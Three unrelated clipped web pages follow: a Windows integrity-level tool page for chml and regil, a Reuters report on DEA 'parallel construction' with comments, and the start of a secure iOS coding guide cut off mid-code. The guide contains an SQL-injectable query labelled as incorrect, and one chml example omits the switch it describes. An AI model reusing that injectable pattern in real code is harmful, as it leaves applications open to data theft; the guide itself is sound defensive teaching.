# chml: a tool to control Windows Integrity Levels

**Created:**| _12/30/2009 10:30:48 PM_  
---|---  
**Updated:**| _12/30/2009 10:31:01 PM_  
**Author:**| __  
**Tags:**| _windows security Mandatory Access Control_  
  

# chml and regil: Utilities To Manage Windows Integrity Levels

**NEW: CHML 1.53 released 16 July 2009, fixes a subtle bug.****NEW: REGIL 1.0
released 26 Feb, the _first_ tool to let you work with Registry integrity
levels\!**

## Integrity Levels? What are _They_?

Vista and later versions of Windows include a new notion of what were
originally called "Mandatory Integrity Controls" but eventually became
"Windows Integrity Levels," \(WILs\) often shortened further to "integrity
levels" or ILs. Under WIL, every object that can have permissions can also
have a label, stored in roughly the same place as it stores permissions, that
identifies its "integrity level." Another way to think of an integrity level
is a measure of how trustworthy it's considered by the system. There are six
integrity levels, from highest trustworthiness to lowest:

  * Trusted Installer
  * System \(operating system processes\)
  * High \(administrators\)
  * Medium \(non-administrators\)
  * Low \(temporary Internet files\)
  * Untrusted

Files, folders and Registry keys have integrity levels, as do processes
\(including user sessions -- if you're logged on as administrator, your
session has higher integrity \("high"\) than it would normally \("medium"\).
What good are these "trustworthiness levels?" Well, they act as a kind of
second, overriding level of Windows permissions. When a lower-integrity user
tries to modify a higher-integrity object, then Windows integrity controls
blocks the modification attempt, and blocks it even _if_ the object's
permissions list contains a "full control" permission for that user. It is,
thus, a sort of set of _uber_ -permissions, albeit a simple one: think of it
as "ILs trump ACLs." \(It sounds better when you say it out loud.\) Sounds
neat? I thought so, and when I found that Microsoft had installed this new
plumbing in Vista, 2008, Windows 7 and 2008 R2 Server but weren't doing
anything with it, I set out to learn a bit of C++ and write a couple of apps:

  * Chml \("change mandatory label," a now-outdated name\) lets you view and change ILs on files and folders. Version 1.5 brings some big changes to Chml, so if you've got an earlier version, give the revision notes a look.
  * Regil \("Registry integrity levels"\), a companion app released in February 2009 -- lets you view and change ILs on Registry keys. It also contains a step-by-step tutorial on modifying Registry integrity levels.

## What chml Does

When I set out to write my book _Administering Windows Vista Security: The Big
Surprises_ , I knew that the book would be incomplete without an in-depth look
at Windows integrity controls. But no tools existed that could let me modify
an integrity level. Microsoft eventually came out with a tool "icacls" that
allows some basic manipulation of integrity levels, but it didn't work
properly until just a few weeks before Vista shipped, and I needed a tool much
earlier than that, hence Chml. Nor was my time wasted because, as you'll see,
it turned out that icacls is too rudimentary to really showcase Windows
integrity controls' capabilities. Furthermore, Chml's design goals were
simple. I wanted a tool that would:

  * Install simply and with a minimum of trouble. Chml is, therefore, a command-line tool that is just a simple EXE file, with no setup program required. Just copy it anywhere on your system's path and you can start it from any command line \(although you'll need to be elevated to _change_ an IL\).
  * Allow me to view a file or folder's integrity level.
  * Allow me to change a file or folder's integrity level.
  * Allow me to experiment with extensions of the basic Windows integrity control, and go beyond the standard "no write up" policy \(no low-integrity process can _modify_ a higher-integrity object\) to the implemented but unused "no read up" policy, which blocks any attempts by a lower-integrity process or user to _read_ the object. This seemed like a potentially nice feature in a world beset by Web-borne spyware\!

## Downloading Chml and Regil

Here they are:

  * chml.exe is about 110K.
  * regil.exe is about 120K \(lots more help and tutorial stuff than Chml currently has, as command-line Reg hacking is somewhat less familiar to most and easier to crash one's system with\)

Installing them is trivial. Just right-click the hyperlinks above and save the
EXE somewhere on your Windows path. \(I usually store it in the
\windows\system32 folder.\) There's no setup, just open a command prompt and
type "chml" or "regil" followed by whatever options you need. \(There's lots
of help if you don't include any options.\)

## What Rights/Permissions Do I Need to Use Chml/Regil?

You can use chml "right out of the box" to view a file or folder's integrity
level just by typing chml _fileorfolder_ , as in C:\>chml \windows\notepad.exe
But if you want to modify an object's integrity level, then there are several
rules. To modify a file/folder's IL, you

  * Need the ability to take ownership \(or already have ownership\) and the ability to modify the file/folder's permissions
  * It appears that you've _got_ to be running as a member of the Administrators group
  * Alternatively, you need the "Modify an object label" privilege

You don't need the "Modify," privilege despite what I said in my book; I was
working from pre-release materials and apologize for the error. Just being a
member of the Administrators group should be all you need to do anything that
you want with chml, particularly with the -fs option. I was quite surprised to
find that the rules for changing Registry entries are quite different: you've
got to be either an admin with the ability to take ownership or be the owner,
but -- here was the strange part -- as an owner you can actually modify a
Registry key's integrity level from a non-elevated command prompt, which you
can _not_ do with files or folders. With Regil, I can \(while sitting at a
non-elevated command prompt with an integrity level of Medium\) assign a
Medium IL to a Registry folder. Odd\! There's online help for other stuff \(or
feel free to email me\), but here are few quickstarts.

## Modifying an Integrity Level

To see chml's basic powers in action, open an elevated command prompt and
create a folder. In my example, I'll create one named c:\test. Then set it to
low integrity by typing

[code]

    chml c:\test -i:l
    
[/code]

Your run will look something like this:

[code]

    C:\>chml c:\test -i:l
    
    Chml v1.50 -- View and change Windows file/folder integrity levels
    by Mark Minasi (c) 2006-2009 www.minasi.com email:xxx
    Successfully changed c:\test's integrity level.
    
    Folder c:\test's integrity level: Low
    Inheritance flags:
    Containers in this container should inherit IL (CI)
    Objects in this container should inherit IL (OI)
    Integrity policies:
    No read up: disabled
    No execute up: disabled
    No write up: enabled
    
    
[/code]

The syntax is simple: just follow chml with the name of the folder, followed
by a lowercase "i," a colon, and then one of the letters _u_ , _i_ , _m_ , _h_
, or _s_ , which signify Untrusted, Low, Medium, High, or System. \(By the
way, if you want to skip the copyright banner, just add the "-b" option.\) Now
create a file inside c:\test named "testfile.txt" -- it doesn't matter what
text is in it, or if there is any text there at all. Then ask chml what
integrity label the file has, like so:

[code]

    C:\>echo Hi there>test\testfile.txt
    
    C:\>chml c:\test\testfile.txt
    
    C:\>chml c:\test\testfile.txt
    
    Chml v1.50 -- View and change Windows file/folder integrity levels
    by Mark Minasi (c) 2006-2009 www.minasi.com email:xxx
    
    File c:\test\testfile.txt's integrity level: Low
    Inheritance flags:
    This object inherited this IL (ID)
    Integrity policies:
    No read up: disabled
    No execute up: disabled
    No write up: enabled
    
[/code]

What you're seeing here is that just as objects in folders can inherit
permissions from their parent folders, they can also inherit integrity levels.

## Seeing the Effect of "No Write Up"

Recall that the main value of Windows integrity controls is to keep lower-
integrity processes from modifying higher-integrity objects. We'll demonstrate
that by setting a file's integrity level to High, then we'll open up a non-
elevated command prompt \(which will run at Medium\) and see that we can't
erase the file. From the elevated command prompt, raise c:\test to High
integrity like so:

[code]

    C:\>chml c:\test -i:h -b
    
    Successfully changed c:\test's integrity level.
    
    Folder c:\test's integrity level: High
    Inheritance flags:
    Containers in this container should inherit IL (CI)
    Objects in this container should inherit IL (OI)
    Integrity policies:
    No read up: disabled
    No execute up: disabled
    No write up: enabled
    
[/code]

\(Notice that I added the "-b" option, which stops Chml from printing the
copyright banner.\) Now, open a second command prompt, but don't elevate it.
Try to erase c:\test\testfile.txt and you'll get an "`Access is denied`"
error.

## Setting Something to "No Read Up"

Now we'll take it a bit further and try out that "no read up" policy. There
are actually three Windows integrity control policies: no read up, no write
up, and no execute up, and you can apply any combination of them to any object
using the -nr, -nw and/or -nx switches. Set c:\testfile's policy to "no read
up/no write up" like so, from the elevated command prompt:

[code]

    C:\>chml c:\test -i:h -b
    
    Successfully changed c:\test's integrity level.
    
    Folder c:\test's integrity level: High
    Inheritance flags:
    Containers in this container should inherit IL (CI)
    Objects in this container should inherit IL (OI)
    Integrity policies:
    No read up: disabled
    No execute up: disabled
    No write up: enabled
    C:\>
    
[/code]

Now try to examine the file or folder at all from the non-elevated command
prompt, or even from Explorer for that matter, and you'll again see an "access
is denied." Wondering why I had to once again assign an integrity level of
High, rather than just using a -nr? Integrity labels are simple: each object
only gets one, so to modify one you can't just specify changes, you've got to
redefine the whole thing.

## Setting an Integrity Level to/from "System:" the -fs and -nfs Options

In the "trustworthiness" hierarchy, non-admin users are Medium admin users are
High and some operating system things are System. The problem with System are
a couple of basic rules about Windows integrity-wise:

  * You can only raise objects as high as your integrity level, no further, and
  * You can only _lower_ objects whose integrity equals yours, or lower.

Thus, the problem with System, it seemed to me early on, was "what would
happen if a bad guy installed some malware and gave it an IL of System
somehow?" We admins, who are merely High, couldn't delete a System file or
folder\! The answer would be to run Chml as System somehow... but how? When I
first wrote Chml, I figured out how to run it as System three ways:

  * Create a WinPE CD, boot the computer from the CD and run Chml. WinPE logs you on as System, so when you run Chml, you've got the juice to raise a file to System or, more important, _lower_ an unwanted file with System integrity to something lower, enabling you to delete it.
  * Schedule a Chml task with the Task Manager, taking advantage of Task Manager's option to run a scheduled task as System. \(That's the System account, and when it's running, it runs at System integrity level, not surprisingly.\)
  * Download Sysinternals' "psexec" tool and use its -s option to run Chml at System integrity.

Those are all still possible, but they're clumsy, which was one of the main
reasons that I built Chml 1.5. It can now lower files from System or raise
them to System. How'd I do it? Simple: I just construct a scheduled task that
executes Chml, tell the system to run it immediately, and then delete the
task. Chml doesn't go the task scheduler route -- it's called "forcesystem"
mode inside Chml -- by default unless it sees an explicit "-i:s" command, so
if you ever need that extra juice, add "-fs" to your Chml command. Again, this
is easiest to grasp with an example or two. First, let's raise test's
integrity to System, like so:

[code]

    C:\>chml test -i:s
    
    Chml v1.50 -- View and change Windows file/folder integrity levels
    by Mark Minasi (c) 2006-2009 www.minasi.com email:xxx
    
    Successfully changed C:\test's integrity level.
    
    Folder C:\test's integrity level: System
    Inheritance flags:
    Containers in this container should inherit IL (CI)
    Objects in this container should inherit IL (OI)
    Integrity policies:
    No read up: disabled
    No execute up: disabled
    No write up: enabled
    
[/code]

As I said above, whenever Chml sees "-i:s" then it automatically activates
"forcesystem," creating the scheduled tasks. But now try to _lower_ test's
integrity to Medium:

[code]

    C:\>chml test -i:m
    
    Chml v1.50 -- View and change Windows file/folder integrity levels
    by Mark Minasi (c) 2006-2009 www.minasi.com email:xxx
    
    UPDATEIL: Access denied when trying to write new integrity label.
    
    Chml was unable to update test's integrity label, no change occurred.
    Check that you are running at sufficient integrity and the right
    permissions -- you need to either own the folder or have the Take Ownership
    right and the ability to change permissions on it. Also, Chml must run
    at an integrity level greater than or equal to both the object's current IL,
    and the IL that you want to raise it to. (Thus, it takes System integrity
    to raise a file to System integrity, and it takes System integrity to drop
    a System integrity file down to something below it.)
    
    Folder test's integrity level: System
    Inheritance flags:
    Containers in this container should inherit IL (CI)
    Objects in this container should inherit IL (OI)
    Integrity policies:
    No read up: disabled
    No execute up: disabled
    No write up: enabled
    
    
[/code]

That's because you were running as a mere administrator with High integrity,
so that System file merely laughed when you tried to change its integrity. You
canna do tha' job on impulse, laddie... add "-fs" to engage warp drive\!

[code]

    C:\>chml test -i:m -fs
    
    Chml v1.50 -- View and change Windows file/folder integrity levels
    by Mark Minasi (c) 2006-2009 www.minasi.com email:xx
    
    Successfully changed C:\test's integrity level.
    
    Folder C:\test's integrity level: Medium
    Inheritance flags:
    Containers in this container should inherit IL (CI)
    Objects in this container should inherit IL (OI)
    Integrity policies:
    No read up: disabled
    No execute up: disabled
    No write up: enabled
    
[/code]

-fs has one problem, though: what about WinPE? It's a great, basic, simple and free operating system for troubleshooting and repairing Windows systems \(look at Newsletter \#59 for the skinny on it\) but it doesn't have a task scheduler and wouldn't need it in this case anyway because, again, it lets you run as System anyway. Sometimes, then, you want to keep Chml from trying to use the Task Scheduler altogether and you can do that with the "-nfs" option. The only time you'd need it would be if you ever ran a command with the "-i:s" option, recall. That's not all that's new in Chml 1.5, though... take a look at the revision history below. Download the latest Chml and please drop me a line to let me know how you like it.  

## I Want To Change Entire Folders\!

I know, I know, you want chml to be able to do stuff like "chml \*.txt" to
work on all text files in the current folder, or "chml \*.txt /s" to work on
all text files in the current folder and all subfolders. One of these days
I'll figure it out, but I've not had the time... but here's a great
workaround: the "for" command. It looks like for \[/r\]%f in \(_filepattern_\)
do \[whatever you want chml to do, putting "%f" where the filename would go\]
For example, to lower the integrity level of all text files in the current
folder, type for %f in \(\*.txt\) do chml %f -i:l To recurse folders, change
"for" to "for /r." I hope this fills a gap until I can get the time to figure
out wildcards. Thanks\!

# Using Regil

Regil's designed to work very similarly to chml, but for Registry entries.
It's got a lot more help built-in than chml does:

  * regil -? shows syntax
  * regil all by itself offers some cautions \(you do _not_ want to blow up your Registry\)
  * regil -st offers a short list of working examples
  * regil -lt \("long tutorial"\) explains integrity levels and offers a multi-step \(and completely safe, if followed\!\) tutorial in modifying Registry integrity levels

[code]

    Some examples (from regil -st):
    
[/code]

### Viewing Current ILs

Just invoke regil with the Registry key's name, as in

[code]

    regil hkcu\software\AppDataLow
    
[/code]

\(That's one of the few Registry keys with a built-in IL; most are
unlabeled.\) Modifying a Registry Key's IL Use the -i: option to raise/lower
the IL:  

[code]

    regil HKEY_CURRENT_USER\Iltest -i:l
    
[/code]

That changes HKCU\Iltest's IL to be low and to set the 'inherit' flag, so any
subkeys created under that key will also be low.  
  
I strongly suggest that you NOT mess with any out-of-the-box Registry key
settings until you've gotten some experience with regil. \(Really. Trust me.\)

### Removing Existing Integrity Labels

To remove an explicit IL, use -rl:  

[code]

    regil hklm\software -rl
    
[/code]

### Viewing an Existing SDDL String

Simplify understanding ILs under the hood; use -ss

[code]

    regil HKCU\Software\AppDataLow -ss
    
[/code]

### Directly Modify an IL Via an SDDL String

use "-ws:"

[code]

    regil hkcu\iltest -ws:S:(ML;OICI;NWNR;;;ME)
    
[/code]

Sets the iltest subkey in the HKCU key \(which doesn't exist by default\) to
integrity, any subkeys inherit, and both a no-write-up and a no-read-up
policy. What about System? Unfortunately I've not had the time to add warp
drive to Regil, but I will when I can. Until then, try one of the three routes
that I outlined above. If experimenting with ILs interests you, give Regil a
try and let me know what you think.

## Revision History

16 July 2009:

  * Version 1.53: Again Peter Strelecki's eagle eye picked up a problem: you can't pass chml a folder parameter that points to a root directory, like "chml c:\" or "chml \" or the like. Looking into it, I found that I was validating file or folder names \(checking that they existed in the first place\) with an API recommended by many, the "FindFirstFile" API. A closer look at the API's docs note that it will specifically blow up you pass it -- you guessed it -- stuff like c:\, \ or the like. So I recoded it to use a different, older, more useful \(in this case\) API, GetFileAttributes. And in the process of testing the new chml, I discovered something very interesting: the root of the C: drive on Vista seems to always be set to High integrity. Note that you can reset your C:\'s integrity level, but be warned that it'll take about 30 seconds. Thanks again to Peter.

26 April 2009:

  * Version 1.52: User James Gentile discovered that file specifications larger than 127 characters killed chml; max has been upped to 2048 chars. Thanks to James for his detective work\!
  * Note on chml limitation: I used the ANSI APIs, not the Unicode APIs, so it won't work on folders with Unicode names \(Chinese characters, etc.\) -- I'll Unicode-ize it eventually but haven't yet.

April 2009: chml 1.5 adds

  * Discovered that if \(1\) your logon name has a space in it and \(2\) you have disabled 8.3 names on NTFS then chml can't use the "force system" option. The root problem is a bug in schtasks that makes it unable to handle folder names with spaces in some cases.
  * While fixing that, I realized that a file name with a space in it might also keep chml from using "force system." Fixed now, and debug output helps track any future problems of this sort better.

Feb 2009: chml and regil are now code-signed. chml 1.5 adds

  * -fs "forcesystem" option to allow elevation or de-elevation to/from System.
  * -nfs option blocks Chml from using the forcesystem method.
  * -so is a shortened debug output that summarizes all current options and inputs; good for smoking out oddities.
  * Reporting is now cleaner and more complete. There are two reports: a verbose report that details the integrity level, integrity policies \(no read up, no write up, no execute up\) and inheritance flags on a file/folder, and a short display of the SDDL string. By default, Chml shows the verbose report, not the SDDL string. The -ss \("show SDDL"\) and -sv \("suppress verbose report"\) let you control what Chml shows you. The "-ss" option replaces the older "-showsddl" option.
  * Chml now includes a larger tutorial and set of built-in examples that expand beyond what's on this Web page. The "-ex" option \("examples"\) has been replaced by the "-st" \("short tutorial"\) option.
  * Chml, when run with no options, now offers a couple of pages of overview information in integrity levels and Chml use.
  * The "-wsddl:" option \(which lets you hand-craft any SDDL string that you like, great for experimentation, has been renamed "-ws:"
  * The -rl \("remove label"\) option removes any labels from a file or folder, restoring it to pre-experimentation state.
  * You can now use the -to \("test only"\) option to see what a command would do. It shows you the report that you would see if you'd actually made a given modification of a file/folder's IL.

Jan 2009: fixed a bug that caused chml to sometimes think that a folder was a
file. Thanks to Peter Strelecki for pointing out the bug. Added "-rl" option
that will remove any existing mandatory labels, returning a file to
"unlabeled" status, like

[code]

    C:\>chml test.txt -rl -b
    
[/code]

[code]

    Integrity level reset to "unlabeled", object treated as medium.
    
[/code]

## Why Not Use icacls?

Well, again, I didn't use icacls in my experimentation because it didn't work
throughout almost all of the Vista beta process, so it was of no value to me
then. But Chml can do several things that icacls cannot:

  * It cannot set integrity levels at Untrusted or System.
  * It cannot assign "no read up" or "no execute up" integrity policies.
  * It will not let you view the "raw" integrity control label, as chml's -ss: option does.
  * It will not let you create and apply a hand-crafted raw integrity control label, as chml's -ws: option does.

Windows integrity controls aren't well-understood by many because there's so
little information on them. That's why I wrote chml and, now, regil. I hope
you find it useful and if you'd like more detail both on integrity levels and
chml, then please consider buying my _Administering Windows Vista Security:
The Big Surprises_ book, which I've seen at Bookpool for as little as $21. You
can send me email at the "minasi.com" domain under the name "help." Drop me a
line and tell me how you're finding Chml and/or Regil useful, and thanks for
visiting\!  
---

# Exclusive: U.S. directs agents to cover up program used to investigate Americans | Reuters
**Created:**| _8/6/2013 9:31:56 AM_  
---|---  
**Updated:**| _8/6/2013 9:31:56 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# **E** xclusive: U.S. directs agents to cover up program used to investigate
Americans****

### Related News****

<img src='img/Temp2_2805.jpg' alt='A slide from a presentation about a
secretive information-sharing program run by the U.S. Drug Enforcement
Administration's Special Operations Division (SOD) is seen in this undated
photo. REUTERS/John Shiffman' />

By John Shiffman and Kristina Cooke

WASHINGTON | Mon Aug 5, 2013 3:25pm EDT 
\(Reuters\) - A secretive U.S. Drug Enforcement Administration unit is
funneling information from intelligence intercepts, wiretaps, informants and a
massive database of telephone records to authorities across the nation to help
them launch criminal investigations of Americans**.**

Although these cases rarely involve national security issues, documents
reviewed by Reuters show that law enforcement agents have been directed to
conceal how such investigations truly begin - not only from defense lawyers
but also sometimes from prosecutors and judges**.**

The undated documents show that federal agents are trained to "recreate" the
investigative trail to effectively cover up where the information originated,
a practice that some experts say violates a defendant's Constitutional right
to a fair trial**.** If defendants don't know how an investigation began, they
cannot know to ask to review potential sources of exculpatory evidence -
information that could reveal entrapment, mistakes or biased witnesses**.**

"I have never heard of anything like this at all," said Nancy Gertner, a
Harvard Law School professor who served as a federal judge from 1994 to
2011**.** Gertner and other legal experts said the program sounds more
troubling than recent disclosures that the National Security Agency has been
collecting domestic phone records**.** The NSA effort is geared toward
stopping terrorists; the DEA program targets common criminals, primarily drug
dealers**.**

"It is one thing to create special rules for national security," Gertner
said**.** "Ordinary crime is entirely different. It sounds like they are
phonying up investigations**.** "

THE SPECIAL OPERATIONS DIVISION

The unit of the DEA that distributes the information is called the Special
Operations Division, or SOD**.** Two dozen partner agencies comprise the unit,
including the FBI, CIA, NSA, Internal Revenue Service and the Department of
Homeland Security**.** It was created in 1994 to combat Latin American drug
cartels and has grown from several dozen employees to several hundred**.**

Today, much of the SOD's work is classified, and officials asked that its
precise location in Virginia not be revealed**.** The documents reviewed by
Reuters are marked "Law Enforcement Sensitive," a government categorization
that is meant to keep them confidential**.**

"Remember that the utilization of SOD cannot be revealed or discussed in any
investigative function," a document presented to agents reads**.** The
document specifically directs agents to omit the SOD's involvement from
investigative reports, affidavits, discussions with prosecutors and courtroom
testimony**.** Agents are instructed to then use "normal investigative
techniques to recreate the information provided by SOD**.** "

A spokesman with the Department of Justice, which oversees the DEA, declined
to comment**.**

But two senior DEA officials defended the program, and said trying to
"recreate" an investigative trail is not only legal but a technique that is
used almost daily**.**

A former federal agent in the northeastern United States who received such
tips from SOD described the process**.** "You'd be told only, ‘Be at a certain
truck stop at a certain time and look for a certain vehicle**.** ' And so we'd
alert the state police to find an excuse to stop that vehicle, and then have a
drug dog search it," the agent said**.**

"PARALLEL CONSTRUCTION"

After an arrest was made, agents then pretended that their investigation began
with the traffic stop, not with the SOD tip, the former agent said**.** The
training document reviewed by Reuters refers to this process as "parallel
construction**.** "

The two senior DEA officials, who spoke on behalf of the agency but only on
condition of anonymity, said the process is kept secret to protect sources and
investigative methods**.** "Parallel construction is a law enforcement
technique we use every day," one official said**.** "It's decades old, a
bedrock concept."

A dozen current or former federal agents interviewed by Reuters confirmed they
had used parallel construction during their careers**.** Most defended the
practice; some said they understood why those outside law enforcement might be
concerned**.**

"It's just like laundering money - you work it backwards to make it clean,"
said Finn Selander, a DEA agent from 1991 to 2008 and now a member of a group
called Law Enforcement Against Prohibition, which advocates legalizing and
regulating narcotics**.**

Some defense lawyers and former prosecutors said that using "parallel
construction" may be legal to establish probable cause for an arrest**.** But
they said employing the practice as a means of disguising how an investigation
began may violate pretrial discovery rules by burying evidence that could
prove useful to criminal defendants**.**

A QUESTION OF CONSTITUTIONALITY

"That's outrageous," said Tampa attorney James Felman, a vice chairman of the
criminal justice section of the American Bar Association**.** "It strikes me
as indefensible."

Lawrence Lustberg, a New Jersey defense lawyer, said any systematic government
effort to conceal the circumstances under which cases begin "would not only be
alarming but pretty blatantly unconstitutional**.** "

Lustberg and others said the government's use of the SOD program skirts
established court procedures by which judges privately examine sensitive
information, such as an informant's identity or classified evidence, to
determine whether the information is relevant to the defense**.**

"You can't game the system," said former federal prosecutor Henry E. Hockeimer
Jr. "You can't create this subterfuge**.** These are drug crimes, not national
security cases**.** If you don't draw the line here, where do you draw it**?**
"

Some lawyers say there can be legitimate reasons for not revealing
sources**.** Robert Spelke, a former prosecutor who spent seven years as a
senior DEA lawyer, said some sources are classified**.** But he also said
there are few reasons why unclassified evidence should be concealed at
trial**.**

"It's a balancing act, and they've doing it this way for years," Spelke
said**.** "Do I think it's a good way to do it? No, because now that I'm a
defense lawyer, I see how difficult it is to challenge**.** "

CONCEALING A TIP

One current federal prosecutor learned how agents were using SOD tips after a
drug agent misled him, the prosecutor told Reuters**.** In a Florida drug case
he was handling, the prosecutor said, a DEA agent told him the investigation
of a U.S. citizen began with a tip from an informant**.** When the prosecutor
pressed for more information, he said, a DEA supervisor intervened and
revealed that the tip had actually come through the SOD and from an NSA
intercept**.**

"I was pissed," the prosecutor said. "Lying about where the information came
from is a bad start if you're trying to comply with the law because it can
lead to all kinds of problems with discovery and candor to the court**.** "
The prosecutor never filed charges in the case because he lost confidence in
the investigation, he said**.**

A senior DEA official said he was not aware of the case but said the agent
should not have misled the prosecutor**.** How often such misdirection occurs
is unknown, even to the government; the DEA official said the agency does not
track what happens with tips after the SOD sends them to agents in the
field**.**

The SOD's role providing information to agents isn't itself a secret**.** It
is briefly mentioned by the DEA in budget documents, albeit without any
reference to how that information is used or represented when cases go to
court**.**

The DEA has long publicly touted the SOD's role in multi-jurisdictional and
international investigations, connecting agents in separate cities who may be
unwittingly investigating the same target and making sure undercover agents
don't accidentally try to arrest each other**.**

SOD'S BIG SUCCESSES

The unit also played a major role in a 2008 DEA sting in Thailand  against
Russian arms dealer Viktor Bout; he was sentenced in 2011 to 25 years in
prison on charges of conspiring to sell weapons to the Colombian rebel group
FARC**.** The SOD also recently coordinated Project Synergy, a crackdown
against manufacturers, wholesalers and retailers of synthetic designer drugs
that spanned 35 states and resulted in 227 arrests**.**

Since its inception, the SOD's mandate has expanded to include narco-
terrorism, organized crime and gangs**.** A DEA spokesman declined to comment
on the unit's annual budget**.** A recent LinkedIn posting on the personal
page of a senior SOD official estimated it to be $125 million**.**

Today, the SOD offers at least three services to federal, state and local law
enforcement agents: coordinating international investigations such as the Bout
case; distributing tips from overseas NSA intercepts, informants, foreign law
enforcement partners and domestic wiretaps; and circulating tips from a
massive database known as DICE**.**

The DICE database contains about 1 billion records, the senior DEA officials
said**.** The majority of the records consist of phone log and Internet data
gathered legally by the DEA through subpoenas, arrests and search warrants
nationwide**.** Records are kept for about a year and then purged, the DEA
officials said**.**

About 10,000 federal, state and local law enforcement agents have access to
the DICE database, records show**.** They can query it to try to link
otherwise disparate clues**.** Recently, one of the DEA officials said, DICE
linked a man who tried to smuggle $100,000 over the U.S. southwest border to a
major drug case on the East Coast**.**

"We use it to connect the dots," the official said**.**

"AN AMAZING TOOL"

Wiretap tips forwarded by the SOD usually come from foreign governments, U.S.
intelligence agencies or court-authorized domestic phone recordings**.**
Because warrantless eavesdropping on Americans is illegal, tips from
intelligence agencies are generally not forwarded to the SOD until a caller's
citizenship can be verified, according to one senior law enforcement official
and one former U.S. military intelligence analyst**.**

"They do a pretty good job of screening, but it can be a struggle to know for
sure whether the person on a wiretap is American," the senior law enforcement
official said**.**

Tips from domestic wiretaps typically occur when agents use information
gleaned from a court-ordered wiretap in one case to start a second
investigation**.**

As a practical matter, law enforcement agents said they usually don't worry
that SOD's involvement will be exposed in court**.** That's because most drug-
trafficking defendants plead guilty before trial and therefore never request
to see the evidence against them**.** If cases did go to trial, current and
former agents said, charges were sometimes dropped to avoid the risk of
exposing SOD involvement**.**

Current and former federal agents said SOD tips aren't always helpful - one
estimated their accuracy at 60 percent**.** But current and former agents said
tips have enabled them to catch drug smugglers who might have gotten away**.**

"It was an amazing tool," said one recently retired federal agent**.** "Our
big fear was that it wouldn't stay secret."

DEA officials said that the SOD process has been reviewed internally**.** They
declined to provide Reuters with a copy of their most recent review**.**

\(Edited by Blake Morrison\)

We welcome comments that advance the story through relevant opinion,
anecdotes, links and data**.** If you see a comment that you believe is
irrelevant or inappropriate, you can flag it to our editors by using the
report abuse links**.** Views expressed in the comments do not represent those
of Reuters**.** For more information on our comment policy, see
http://blogs.reuters.com/fulldisclosure/2010/09/27/toward-a-more-thoughtful-
conversation-on-stories/

Comments \(256\)

Kailim  wrote:

John Shiffman and Kristina Cooke,

Well done**.** I like this report very much**.** Anyway I would like to know
who leaked this to you, or how do you find this out**.**

However your report might help drug criminals, as they are sure by now that
prosecution against them could be dropped if they plead innocent and insist on
going to trial**.**

Aug 05, 2013 6:19am EDT -- Report as abuse

spagester  wrote:

Does this surprise anyone**?**

Some idiot will say “if you aren’t doing anything wrong, what do you have to
worry about**?** ”

We have to worry about government agents with a chip on their shoulder and
agencies who want arrests and will do anything to get them.What kind of
country do we live in**?**

Aug 05, 2013 6:31am EDT -- Report as abuse

Nurgle  wrote:

All relevant convictions must immediately be overturned**.** Withholding
evidence is a crime.

Aug 05, 2013 7:02am EDT -- Report as abuse

****

# felixgr/secure-ios-app-dev

**Created:**| _5/23/2017 12:54:51 PM_  
---|---  
**Updated:**| _5/23/2017 12:54:51 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking apple_  
  

  

# Secure iOS application development

This guide is a collection of the most common vulnerabilities found in iOS
applications. The focus is on vulnerabilities in the applications’ code and
only marginally covers general iOS system security, Darwin security,
C/ObjC/C++ memory safety, or high-level application security.

Nevertheless, hopefully the guide can serve as training material to iOS app
developers that want to make sure that they ship a more secure app. Also, iOS
security reviewers can use it as a reference during assessments.

> **Just like any software, this guide will rot unless we update it. We
> encourage everyone to help us on that, just open an issue or send a pull
> request\!**
## API-level issues

### API: Generate cryptographically-strong random numbers

Generally, iOS provides easy-to-use cryptographic interfaces. Don’t implement
custom crypto algorithms \(besides crypto problems, it can also cause issues
during App Store review\).

Only supply cryptographically-strong random numbers to cryptographic
functions.

> **Audit tip:** Check that all cryptographically secure random numbers are
> fetched using the Randomization Services programming interface.
Correct example:

[code]

    int r = SecRandomCopyBytes(kSecRandomDefault, sizeof(int), (uint8_t*) &res);
    
[/code]

### API: Prevent leaking sensitive data during app backgrounding

When iOS backgrounds an app, a screenshot of the app might get saved to an
unencrypted cache on the local file system. This happends for example when the
user presses the home button. Apple recommends developers to hide any
sensitive information before this occurs.

If the app is handling sensitive user data, verify that code exists to hide or
blur the sensitive elements or the full window.

> **Audit tip:** Check for hiding code in ` applicationDidEnterBackground `.
Alternatively, you can set ` allowScreenShot `. Using `
ignoreSnapshotOnNextApplicationLaunch ` seems broken.

### API: Handle the pasteboard securely

If the pasteboard is marked persistent it may get saved to local storage along
with potentially sensitive user data. Also, make sure to clear pasteboard when
an application backgrounds.

> **Audit tip:** Check for ` UIPasteboardNameGeneral ` & `
> UIPasteboardNameFind `.
### API: Disable auto-correction for sensitive input fields

Some iOS versions cache keyboard entries for auto-correction. This is disabled
for password fields but should be disabled for other sensitive fields \(e.g.
credit card number\) as well. Set the following to prevent this:

[code]

    UITextField autoCorrectionType = UITextAutocorrectionTypeNo
    
[/code]

or mark the text field as secure \(hidden input\) with the ` secureTextEntry `
attribute.

> **Audit tip:** Check for sensitive non-password input fields \(e.g. credit
> card\) which do not have ` UITextAutoCorrectionNo `.
## Data-handling issues

### Handling data: Deserialize data securely

During deserialization, some objects are re-instantiated in memory. Thus, if
the serialized data originates from an untrusted source, code execution might
be possible.

When writing your own classes, it is generally a good idea to comply with the
` NSSecureCoding ` protocol, to make sure that classes constructed from
external sources are the intended class. It is also required by Apple for
classes that are used with inter-application communication \(`
UIActivityViewController `\).

> **Audit tip:** Check for insecure deserialization from untrusted sources.
> Some deserialization \(` NSCoding `, ` NSCoder `\) must have checks for the
> deserialized data to be within bounds.
> **Audit tip:** Other deserialization \(` CFBundle `, ` NSBundle `, `
> NSKeyedUnarchiverDelegate `, ` didDecodeObject `, ` awakeAfterUsingCoder `\)
> can directly lead to code execution by returning different objects during
> deserialization.
> **Audit tip:** Check that nib files are not dynamically loaded from
> untrusted origins.
### Handling data: Avoid SQL Injection

If attacker-supplied strings are concatenated to a SQL query, SQL injection on
a sqlite database may occur. This might leak sensitive information from the
database or inject malicious payloads.

> **Audit tip:** Check for calls to ` sqlite3_exec() ` and other non-prepared
> SQL functions. The functions ` sqlite3_prepare*() ` should be used instead.
Incorrect example:

[code]

    NSString *uid = [myHTTPConnection getUID];
    NSString *statement = [NSString StringWithFormat:@"SELECT username FROM users
    where uid = '%@'",uid];
    const char *sql = [statement UTF8String];
[/code]

Correct example:

[code]

    const char *sql = "SELECT username FROM users where uid = ?";
    sqlite3_prepare_v2(db, sql, -1, &selectUid, NULL);
